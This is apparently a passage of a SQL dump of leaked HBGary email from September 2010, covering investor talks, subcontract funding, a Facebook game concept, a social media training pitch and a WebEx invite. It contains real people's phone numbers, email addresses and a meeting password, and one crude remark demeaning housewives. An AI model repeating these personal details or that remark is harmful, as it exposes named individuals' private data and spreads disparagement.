today!\r\n\r\nDefense Daily - Access Intelligence, LLC - 4 Choke Cherry Road 2nd Floor - Rockville, MD 20850To unsubscribe, \r\n      click here or send an email to:\r\nunsubscribe-99764@mail.accessintelemail.com\r\n\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',8750,'aaron_hbgary_com/8750.html'),(11326,'2010-09-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008599.M512682P14101Q6182.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: What is status of the new work??','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI&nbsp; I&#8217;ll keep on top of him\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ray Owen\r\n[mailto:ray.owen@farallon-research.com] \r\nSent: Friday, September 03, 2010 12:39 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Nathan Atherley\'; Mark Peterson\r\nSubject: Re: What is status of the new work??\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\nWe\'re asking for an update this afternoon, and will let you know what we hear.\r\n\r\nLast week, the risk reduction funding had made it to the last government stop\r\nbefore the prime contractor.\r\nThat money may come to us as early as next week.\r\n\r\nThe full demo funding will probably reach the prime right before the end of the\r\nmonth, and be on contract with Farallon in early October.\r\n\r\nMark Peterson has joined us, and is working the budgets and cash flow plans as\r\nwe speak. He will work with you on definitizing the HBGary subcontract.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\n\r\nOn 9/3/2010 11:54 AM, Penny Leavy-Hoglund wrote: \r\n\r\nWe are planning resources, any ETA?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3410,'aaron_hbgary_com/3410.html'),(11327,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008599.M63374P14101Q6181.eml','\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>,\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>','Re: Investment','Tiffany,\r\n\r\nHBGary Inc. continues to move down the investment/acquisition process.  I just got off the phone with Penny and one of the prospective investors that is looking very seriously at HBGary Inc. but raises a concern about HBGary Federal being separate.  Based on the direction HBGary Inc. wants to go, HBGary Federals funding and pipeline profile short and long term it looks like we are going to wrap HBGary Federal under HBGary as a wholly owned subsidiary.  This is not a knee jerk reaction but nearly every potential investor has said the separation is an issue.  I wanted to make sure you were aware of this decision when considering any options for ManTech towards HBGary and HBGary Federal.  Let me know if you have time next week to discuss.\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n\r\nOn Sep 3, 2010, at 2:52 PM, Gates, Tiffanny L wrote:\r\n\r\n> Sure Aaron. \r\n> I am happy to help of I can. Want to try to touch base next week?\r\n> \r\n> On Sep 3, 2010, at 11:44 AM, Aaron Barr  wrote:\r\n> \r\n>> Hi Tiffany,\r\n>> \r\n>> I would like to talk with you about the possibilities of investment.  We have a few shortfalls.  While I think we have positioned ourselves well with primes such as ManTech, TASC, L-3, and SAIC for long-term contracts, most of those are either not awarding until later this calendar year or early next.  We have fallen short on some of the earlier contracts we were pursuing.  Our training has the potential to be very profitable, but we are just getting that off the ground and we have cash flow \"issues\".\r\n>> \r\n>> So in the short term things are stressful.  In the long-term things look good.\r\n>> \r\n>> Aaron\r\n\r\n',2517,'aaron_hbgary_com/2517.html'),(11328,'2010-09-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008599.M748415P14101Q6183.eml','\"Nicholas Safford\" <ns@riveriagroup.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Nicholas Safford\" <ns@riveriagroup.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Connection','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure I&#8217;m around, when is good for you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Nicholas Safford\r\n[mailto:ns@riveriagroup.com] \r\nSent: Friday, September 03, 2010 11:57 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Tj Gupta; David Gertler\r\nSubject: Re: Connection\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Aaron,\r\n\r\nPenny - are you free next week to connect for a brief introductory call?&nbsp;\r\nA tear sheet on our firm is attached with more information.\r\n\r\nBest,\r\nNicholas\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 2:49 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPenny,\r\n\r\nLet me introduce Nicholas from Riveria group. &nbsp;I was introduced to Riveria\r\nthrough David Gertler, whom was one of the folks I met with at L-3 earlier in\r\nthe week. &nbsp;Nicholas is interested in discussing investment opportunities.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 11:15 AM, Tj Gupta wrote:\r\n\r\n&gt; Thanks Aaron, my associate, Nicholas Safford, will reach out to you to\r\n&gt; gather the necessary information for us and introduce you to the firm.\r\n&gt;\r\n&gt; Best,\r\n&gt;\r\n&gt; Tj\r\n&gt;\r\n&gt; On 9/3/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nwrote:\r\n&gt;&gt; David,\r\n&gt;&gt;\r\n&gt;&gt; Thank you for the introduction and sure thing I will send you a note\r\nin a\r\n&gt;&gt; few weeks.\r\n&gt;&gt;\r\n&gt;&gt; TJ. &nbsp;Happy to meet you. &nbsp;My cell is 719.510.8478. &nbsp;Look\r\nforward to talking\r\n&gt;&gt; with you.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; Aaron\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; It was good talking with you the other day. As i mentioned, I\r\nwould like\r\n&gt;&gt;&gt; to introduce you to TJ Gupta and his private equity group.\r\n&nbsp;TJ is actively\r\n&gt;&gt;&gt; looking for good companies that need some expansion capital and\r\nyou\r\n&gt;&gt;&gt; clearly fit within his target thesis.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Send him your phone number and I\'m sure he call you\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; PS. This is my personal email address; feel free to send me a note\r\nin a\r\n&gt;&gt;&gt; week or two and we\'ll grab a Starbucks.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; David Gertler\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Sent from my iPad\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Tj Gupta\r\n&gt; Managing Partner\r\n&gt; Riveria Investment Group\r\n&gt; 145 East 57th Street, 11th Floor\r\n&gt; New York, NY 10022\r\n&gt; Office: +1 917 421 9971\r\n&gt; Direct: +1 212 994 4117\r\n&gt; Mobile: +1 703 615 3291\r\n&gt; Fax: +1 646 537 2655\r\n&gt; www.riveriagroup.com\r\n&gt;\r\n&gt; Disclaimer:\r\n&gt; The information contained in this electronic message and in any\r\nattachments\r\n&gt; to this message is confidential, legally privileged and intended only for\r\n&gt; the person or entity to which this electronic message is addressed. If you\r\n&gt; are not the intended recipient, please notify the system manager and you\r\nare\r\n&gt; hereby notified that any distribution, copying, review, retransmission,\r\n&gt; dissemination or other use of this electronic transmission or the\r\n&gt; information contained in it is strictly prohibited. Please accordingly\r\nalso\r\n&gt; note that any views or opinions presented in this email are solely those\r\nof\r\n&gt; the author and may not represent those of the Company or bind the Company.\r\n&gt; This message has been scanned for viruses and dangerous content by Mail\r\n&gt; Scanner, and is believed to be clean. The Company accepts no liability for\r\n&gt; any damage caused by any virus transmitted by this email.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nNicholas J. Safford\r\nAssociate\r\nRiveria Investment Group\r\n145 East 57th Street, 11th Floor\r\nNew York, NY 10022\r\nOffice: +1 917 421 9971\r\nMobile: +1 703 819 2629\r\nFax: +1 646 537 2655\r\nwww.riveriagroup.com\r\n\r\nDisclaimer:\r\n\r\n\r\n\r\nThe information contained in this electronic message and in\r\nany attachments to this message is confidential, legally privileged and\r\nintended only for the person or entity to which this electronic message is\r\naddressed. If you are not the intended recipient, please notify the system\r\nmanager and you are hereby notified that any distribution, copying, review,\r\nretransmission, dissemination or other use of this electronic transmission or\r\nthe information contained in it is strictly prohibited. Please accordingly also\r\nnote that any views or opinions presented in this email are solely those of the\r\nauthor and may not represent those of the Company or bind the Company. This\r\nmessage has been scanned for viruses and dangerous content by Mail Scanner, and\r\nis believed to be clean. The Company accepts no liability for any damage caused\r\nby any virus transmitted by this email.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',624,'aaron_hbgary_com/624.html'),(11329,'2010-09-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008599.M980082P14101Q6184.eml','\"Aaron Barr\" <aaron@hbgary.com>','well, I created a facebook account...','I created a facebook account and tried to play farmville.  I can see that it&#39;s an embedded java or flash application.  I did a little research on how facebook apps are written.  Maybe you can shed some light on it.\r\n\r\n \r\nDid you envision that the game appears in a subwindow of the facebook site, like farmville does?  I verified that ogre3d can be used in a window on a web page, it requires some java work to wrap it.  Facebook apps can run in an IFRAME so this would work and we could embed it in a window like their other games.  However, that said, it seems a little restrictive in terms of screen real-estate.\r\n\r\n \r\nIt seems we would want to go full screen if possible.  In fact, ideally, the player would just supply his facebook credentials so the game client could access the facebook API, friends list, etc.  Imagine the player is on his mobile device or his ipad, do you see him logging into facebook via the browser, as opposed to just running an app he downloaded from the app store?\r\n\r\n \r\n-G\r\n \r\n \r\n',12949,'aaron_hbgary_com/12949.html'),(11330,'2010-09-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008600.M188827P14101Q6185.eml','\"Aaron Barr\" <aaron@hbgary.com>','full screen...','I watched a video where the farmville game went full screen when you selected a little button.  I guess we could try all of this and just see what the performance is like.  I wonder if it&#39;s hard to access the facebook api&#39;s from a native app that is hosted in a window or IFRAME.  \r\n\r\n \r\n-G\r\n',2925,'aaron_hbgary_com/2925.html'),(11331,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008600.M455892P14101Q6186.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: full screen...','Hey I will call in a bit.  Playing chase ball with my kids.  Short I\r\npicture a separate app game with a facebook management and status\r\nconsole.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 3, 2010, at 7:47 PM, Greg Hoglund  wrote:\r\n\r\n> I watched a video where the farmville game went full screen when you selected a little button.  I guess we could try all of this and just see what the performance is like.  I wonder if it\'s hard to access the facebook api\'s from a native app that is hosted in a window or IFRAME.\r\n>\r\n> -G\r\n',5240,'aaron_hbgary_com/5240.html'),(11332,'2010-09-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008600.M913769P14101Q6187.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: full screen...','Mark knows a ton about facebook development.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 3, 2010, at 7:47 PM, Greg Hoglund  wrote:\r\n\r\n> I watched a video where the farmville game went full screen when you selected a little button.  I guess we could try all of this and just see what the performance is like.  I wonder if it\'s hard to access the facebook api\'s from a native app that is hosted in a window or IFRAME.\r\n>\r\n> -G\r\n',811,'aaron_hbgary_com/811.html'),(11333,'2010-09-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008601.M169092P14101Q6188.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: full screen...','yeah was just talking to ted about it\r\n',15435,'aaron_hbgary_com/15435.html'),(11334,'2010-09-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008603.M152852P14101Q6189.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: how a player founds a city \'district\'','I think this starts to make it a little more complicated.  Heres my thought.  The majority of your players are really just going to be in it for casual play.  They want status, progression, and entertainment without too much thought.  It doesn\'t have to be myblock but here were my thoughts around myblock.  Its tangible and easy to understand.  Your given a parcel of land that has buildings and you get to customize those buildings based on your real life.  The game I think has to be set up to allow for minimal play, at least to start an then the attractiveness of the game might suck them in.  I like the idea of the founding stones because it is a tangible concept.  You don\'t want to go too fantasy or you will loose part of your audience.  I am starting to not like the idea of contrived cities based on your friends.  I think it is too contrived.  But the design of the game I think should allow you to organize based on proximity or association with a major city or by friendship.  So what if we built out the major cities, put in some default specific landmarks to represent the cities... hmmm I don\'t have this totally worked out yet.  Getting there...  How do you represent all the players in the virtual space.  There could be hundreds of thousands of people in a particular city.  You can\'t show all the players and their blocks because you will be oversaturated...huge colonies of land.\r\n\r\nOn your block there are NPC that you can pick up quests from.  Those NPC Quests might have a completely virtual, completely real, or mixture of virtual and real quest progressions.  You can check into physical locations and get random drops to decorate your parcel of land.  Signages, Stop lights, maybe added NPCs, so you get a barista from a starbucks.   You could get espresso machines, lattes, etc.  A founding stone \r\n\r\nI think you were on to something to have themed cities.  Or at least divy the US up by major cities.  So if you live in the sticks depending on what state and what big city you are near your block takes on that flavor.  Certain landmarks are covered for each big city.  I think for cities, which are comprised of blocks which are individuals, for the development .\r\n\r\nThe game has to be simple in its design, elegant and detailed in its play.  People have to get it right away, yet be able to continue to discover as they play.  The block and city concept is easy to grasp and easy to play, the quests and the conflicts and interactions between the items and building enhancements can cater to the more advanced players.\r\n\r\nOk I am frickin tired....I spent most of the day stressing about money, but I am feeling a bit better.  So I will keep working the concept.\r\n\r\nBelow are some screenshots from my phone of Foursquare and Gowalla.:\r\n\r\nThe first one shows the categories you can use to create locations.  There is only a defined set of location types.\r\n',3218,'aaron_hbgary_com/3218.html'),(11335,'2010-09-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008609.M221000P14101Q6190.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: how a player founds a city \'district\'',' \r\nHmm, sounds like FarmVille/FrontierVille with some optional location-games thrown in, but basically just trying a differentiator against the proven Zenga model.  That is where all the VC&#39;s are throwing their money right now - proves there is a market.  Probably not going to be many winners tho - FarmVille is already there, and I saw the list of games - everyone trying to repeat the model.  My head was much more in real competitive game play, way more MMO and less single-player games pretending to MMO&#39;s.  There really isnt any real multiplayer game happening on facebook - it&#39;s all single player progress-quest with an option to &#39;help&#39; your neighbor, which amounts to white drop in your play progression.  Very shallow stuff, but you can&#39;t argue with success - 65 million fat white out of work house wives growing digital cotton can&#39;t be wrong.\r\n\r\n \r\n-G\r\n',14239,'aaron_hbgary_com/14239.html'),(11336,'2010-09-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008610.M484388P14101Q6191.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: how a player founds a city \'district\'','I hear you.  Maybe I am trying to satisfy too many angles.  What\r\nhasn\'t been done is combo of the model zynga has already built with\r\nlocation.  Add to that an immersive space with the option of more\r\ncomplex gameplay.  Farmville and Mafia play is very shallow and the\r\nlevel of friend interaction narrow.  In my mind what the model that\r\nwould be successful is to better foursquare and zynga by making\r\nlocation more relevant and gameplay more immersive but in a scalable\r\nway.  Maybe that just dilutes the game.\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\nOn Sep 4, 2010, at 1:19 AM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Hmm, sounds like FarmVille/FrontierVille with some optional location-games thrown in, but basically just trying a differentiator against the proven Zenga model.  That is where all the VC\'s are throwing their money right now - proves there is a market.  Probably not going to be many winners tho - FarmVille is already there, and I saw the list of games - everyone trying to repeat the model.  My head was much more in real competitive game play, way more MMO and less single-player games pretending to MMO\'s.  There really isnt any real multiplayer game happening on facebook - it\'s all single player progress-quest with an option to \'help\' your neighbor, which amounts to white drop in your play progression.  Very shallow stuff, but you can\'t argue with success - 65 million fat white out of work house wives growing digital cotton can\'t be wrong.\r\n>\r\n> -G\r\n',10510,'aaron_hbgary_com/10510.html'),(11337,'2010-09-04','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008610.M814919P14101Q6192.eml','\"Barr Aaron\" <aaron@hbgary.com>','Balloon Classic','\r\n\r\n',14730,'aaron_hbgary_com/14730.html'),(11338,'2010-09-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008611.M244946P14101Q6194.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: how a player founds a city \'district\'',' \r\nMaybe immersion is the hard part.  Maybe the x factor is just adding location to a singleplayer-plusplus game like farmville/mafiawars.\r\n-G\r\nOn Sat, Sep 4, 2010 at 4:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI hear you.  Maybe I am trying to satisfy too many angles.  Whathasn&#39;t been done is combo of the model zynga has already built with\r\nlocation.  Add to that an immersive space with the option of morecomplex gameplay.  Farmville and Mafia play is very shallow and thelevel of friend interaction narrow.  In my mind what the model thatwould be successful is to better foursquare and zynga by making\r\nlocation more relevant and gameplay more immersive but in a scalableway.  Maybe that just dilutes the game.Sent from my iPad\r\n\r\n\r\nOn Sep 4, 2010, at 1:19 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:&gt;&gt; Hmm, sounds like FarmVille/FrontierVille with some optional location-games thrown in, but basically just trying a differentiator against the proven Zenga model.  That is where all the VC&#39;s are throwing their money right now - proves there is a market.  Probably not going to be many winners tho - FarmVille is already there, and I saw the list of games - everyone trying to repeat the model.  My head was much more in real competitive game play, way more MMO and less single-player games pretending to MMO&#39;s.  There really isnt any real multiplayer game happening on facebook - it&#39;s all single player progress-quest with an option to &#39;help&#39; your neighbor, which amounts to white drop in your play progression.  Very shallow stuff, but you can&#39;t argue with success - 65 million fat white out of work house wives growing digital cotton can&#39;t be wrong.\r\n&gt;&gt; -G\r\n',7220,'aaron_hbgary_com/7220.html'),(11339,'2010-09-04','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008611.M29715P14101Q6193.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\nLet me check.\r\n&nbsp;\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Division\r\nCyber Sector\r\nManTech&nbsp;Mission, Cyber, Technology Solutions\r\n&nbsp;\r\nWork: 703-388-2127\r\nFax: 703-388-2148\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thu 9/2/2010 10:15 AMTo: Eifert, Eric J.Subject: Re: Social Media, Exploitation, and Persistent Internet Operations\r\nSure we can do that. &nbsp;A few different ways we can do this. &nbsp;How does next thursday or friday work? &nbsp;I can do Thursday afternoon and Friday up until about 2pm. &nbsp;I could probably do wednesday as well. \r\n\r\nDo you just want to go over the training material and course dialogue.\r\nDo you want me to do the abbreviated 2hr. presentation.\r\nDo you want me to do the 1/2 day training class?\r\n\r\nWhat works for you?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Sep 2, 2010, at 7:16 AM, Eifert, Eric J. wrote:\r\n\r\n\r\n\r\nCan we do a face to face?&nbsp; If so let me know when works best for you and I will coordinate.\r\n&nbsp;\r\nThanks,\r\n&nbsp;\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n&nbsp;\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.\r\n&nbsp;',7930,'aaron_hbgary_com/7930.html'),(11340,'2010-09-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008611.M496253P14101Q6195.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: how a player founds a city \'district\'',' \r\nI made a presentation for you.  If you have time I will webex it to you.  It&#39;s about 8 slides and covers some of the problems we are struggling with right now.\r\n \r\n-Greg\r\n',3294,'aaron_hbgary_com/3294.html'),(11341,'2010-09-05','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008611.M762037P14101Q6196.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.&nbsp; I might want to attend to check it out, maybe see\r\nhow Palantir could fit into your thinking.\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s sync up when I get back from India.&nbsp; This country is nuts,\r\nhave you ever been?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 2:32 PM\r\nSubject: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3088,'aaron_hbgary_com/3088.html'),(11342,'2010-09-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008612.M33201P14101Q6197.eml','kstark@phillynews.com,\"Aaron Barr\" <aaron@hbgary.com>','Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Karl,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to introduce the two of you to each\r\nother.&nbsp; Karl Stark is my brother-in-law who is a reporter at the\r\nPhiladelphia Inquirer.&nbsp; Karl is smart and creative and has ideas around\r\nlocation based social networking.&nbsp; Aaron, I recommend you call Karl to\r\nbrainstorm.\r\n\r\n&nbsp;\r\n\r\nContact info:\r\n\r\nKarl 215-356-7403\r\n\r\nAaron 719-510-8478\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9753,'aaron_hbgary_com/9753.html'),(11343,'2010-09-05','\"Stark, Karl\" <kstark@phillynews.com>','/aaron@hbgary.com/new/1297008612.M363328P14101Q6198.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\nRE: Introduction\r\n\r\n\r\n\r\n\r\nAaron\r\nGlad to meet you. I\'d relish the opportunity to talk about this idea when it\'s convenient for you. I\'ll be back after 10pm (ET) tonight and am around most of tomorrow (Monday, Labor Day),. Tuesday or later in the week would be fine too if you\'re busy.\r\n\r\nCheers,\r\n\r\nKarl Stark\r\nHealth &amp; Science Editor\r\nPhiladelphia Inquirer\r\n215 854-5363\r\nInquirer\'s Health &amp; Science page\r\nhttp://www.philly.com/inquirer/health_science/\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\nSent: Sun 9/5/2010 1:16 PM\r\nTo: Stark, Karl; \'Aaron Barr\'\r\nSubject: Introduction\r\n\r\nAaron and Karl,\r\n\r\n\r\n\r\nI\'d like to introduce the two of you to each other.&nbsp; Karl Stark is my\r\nbrother-in-law who is a reporter at the Philadelphia Inquirer.&nbsp; Karl is\r\nsmart and creative and has ideas around location based social networking.\r\nAaron, I recommend you call Karl to brainstorm.\r\n\r\n\r\n\r\nContact info:\r\n\r\nKarl 215-356-7403\r\n\r\nAaron 719-510-8478\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4351,'aaron_hbgary_com/4351.html'),(11344,'2010-09-06','\"Greg Hoglund\" <messenger@webex.com>','/aaron@hbgary.com/new/1297008612.M678904P14101Q6199.eml','aaron@hbgary.com','Please join now, meeting in progress: aaron',' Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: aaron  Date: Sunday, September 5, 2010  Time: 9:43 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 575 442 468  Meeting Password: 123qwe    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=WMI&EventID=154798142&PW=NMmMxNzJkMGRl&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: 123qwe  4. Click \"Join\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=WMI&EventID=154798142&PW=NMmMxNzJkMGRl&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=154798142&tollFree=0   Access code:575 442 468   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   greg@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',2791,'aaron_hbgary_com/2791.html'),(11345,'2010-09-06','\"Nicholas Safford\" <ns@riveriagroup.com>','/aaron@hbgary.com/new/1297008612.M886049P14101Q6200.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Connection','Hi Penny - How about Wednesday or Thursday at 11am est?Best,NicholasOn Fri, Sep 3, 2010 at 6:40 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure I’m around, when is good for you?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Nicholas Safford\r\n[mailto:ns@riveriagroup.com] \r\nSent: Friday, September 03, 2010 11:57 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Tj Gupta; David Gertler\r\nSubject: Re: Connection\r\n\r\n\r\n\r\n 